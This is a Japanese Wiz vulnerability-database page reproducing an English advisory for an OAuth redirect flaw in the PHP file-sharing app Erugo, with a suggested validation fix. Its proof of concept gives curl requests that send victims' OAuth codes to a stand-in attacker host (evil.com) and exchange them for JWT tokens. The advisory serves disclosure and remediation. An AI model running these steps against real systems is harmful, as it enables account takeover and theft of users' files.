WizがGoogle Cloudに参加:共に魔法を作り出す
脆弱性データベースGHSA-77gj-jmpx-g9fq

GHSA-77gj-jmpx-g9fq: 
PHP 脆弱性分析と緩和策

Summary

The POST /api/app/auth/external/initiate endpoint accepts a user-supplied callback_scheme parameter with insufficient validation ('required|string|max:50'). There is no check that the value is a legitimate custom URL scheme. This value is stored in the database and later used to construct a redirect URL that sends the OAuth authorization code to whichever domain the attacker specified, enabling full account takeover.

Details

In ExternalAuthController.php (lines 125-131 and 462-470), the callback_scheme from AppAuthState is concatenated directly into a redirect URL: $callbackScheme = $authState->callback_scheme; $redirectUrl = $callbackScheme . '://auth-callback?' . http_build_query([ 'code' => $code, 'state' => $state, ]); return redirect()->away($redirectUrl); The callback_scheme is set by user input in AppAuthController.php (lines 685, 723 for login; 930, 986 for account linking) with only 'required|string|max:50' validation — no format check for a valid URL scheme. An attacker sets callback_scheme to 'https://evil.com/steal?x', which constructs: https://evil.com/steal?x://auth-callback?code=VICTIM_CODE&state=STATE — the browser navigates to evil.com, leaking the OAuth authorization code. The endpoint POST /api/app/auth/external/initiate (routes/api_app.php line 50) is unauthenticated — no auth middleware, only rate limiting. Both the login flow and the account-linking flow (external/link) are affected.

Proof of concept

Step 1: Attacker initiates OAuth flow with malicious callback_scheme

curl -X POST https://target-erugo.com/api/app/auth/external/initiate
-H "Content-Type: application/json"
-d '{"provider_id": 1, "callback_scheme": "https://evil.com/steal?x"}'

Response contains authorization_url and state

Step 2: Attacker sends authorization_url to victim via phishing

Step 3: Victim clicks link, authorizes at OAuth provider (Google/Microsoft/etc.)

Step 4: OAuth provider redirects back to Erugo with victim's code

Step 5: Erugo redirects victim's browser to:

https://evil.com/steal?x://auth-callback?code=VICTIM_AUTH_CODE&state=ATTACKER_STATE

Browser navigates to evil.com — attacker receives the OAuth code

Step 6: Attacker completes the flow to get JWT tokens

curl -X POST https://target-erugo.com/api/app/auth/external/complete
-H "Content-Type: application/json"
-d '{"code": "STOLEN_CODE", "state": "KNOWN_STATE"}'

Response contains JWT access and refresh tokens for the victim's account

Full account takeover achieved.

Impact

Complete account takeover of any user who clicks an OAuth authorization link crafted by an attacker. The attacker gains full access to all files, shares, and settings in the victim's Erugo instance. Both the login and account-linking OAuth flows are affected. Suggested fix: Validate callback_scheme against a strict pattern: 'callback_scheme' => ['required', 'string', 'max:50', 'regex:/^[a-zA-Z][a-zA-Z0-9+.-]*$/', 'not_regex:/^(https?|javascript|data|ftp|file|blob|vbscript)/i']


ソース: NVD

関連 PHP 脆弱性:

CVE ID

重大度

スコア

テクノロジー

コンポーネント名

CISA KEVのエクスプロイト

修正あり

出版日

GHSA-77gj-jmpx-g9fqHIGH8.1
  • PHP logoPHP
  • erugooss/erugo
いいえはいNov 30, 2026
GHSA-679q-wc28-7wrvMEDIUM6.3
  • PHP logoPHP
  • knplabs/knp-snappy
いいえはいNov 30, 2026
GHSA-qjgm-48mm-xm5qMEDIUM4.8
  • PHP logoPHP
  • bitpay/module-bpcheckout
いいえはいNov 30, 2026
GHSA-v2m3-jwg5-vv65HIGH該当なし
  • PHP logoPHP
  • tina4stack/tina4php
いいえはいNov 30, 2026
GHSA-h2mr-m3v3-cq8cLOW該当なし
  • JavaScript logoJavaScript
  • tina4-python
いいえはいNov 30, 2026

無料脆弱性評価

クラウドセキュリティの姿勢をベンチマークしましょう

9つのセキュリティ領域にわたるクラウドセキュリティの実践を評価し、リスクレベルをベンチマークし、防御のギャップを特定しましょう。

評価のリクエスト

Wizのその他のリソース

パーソナライズされたデモを見る

実際に Wiz を見てみませんか?​

"私が今まで見た中で最高のユーザーエクスペリエンスは、クラウドワークロードを完全に可視化します。"
デビッド・エストリックCISO (最高情報責任者)
"Wiz を使えば、クラウド環境で何が起こっているかを 1 つの画面で確認することができます"
アダム・フレッチャーチーフ・セキュリティ・オフィサー
"Wizが何かを重要視した場合、それは実際に重要であることを私たちは知っています。"
グレッグ・ポニャトフスキ脅威および脆弱性管理責任者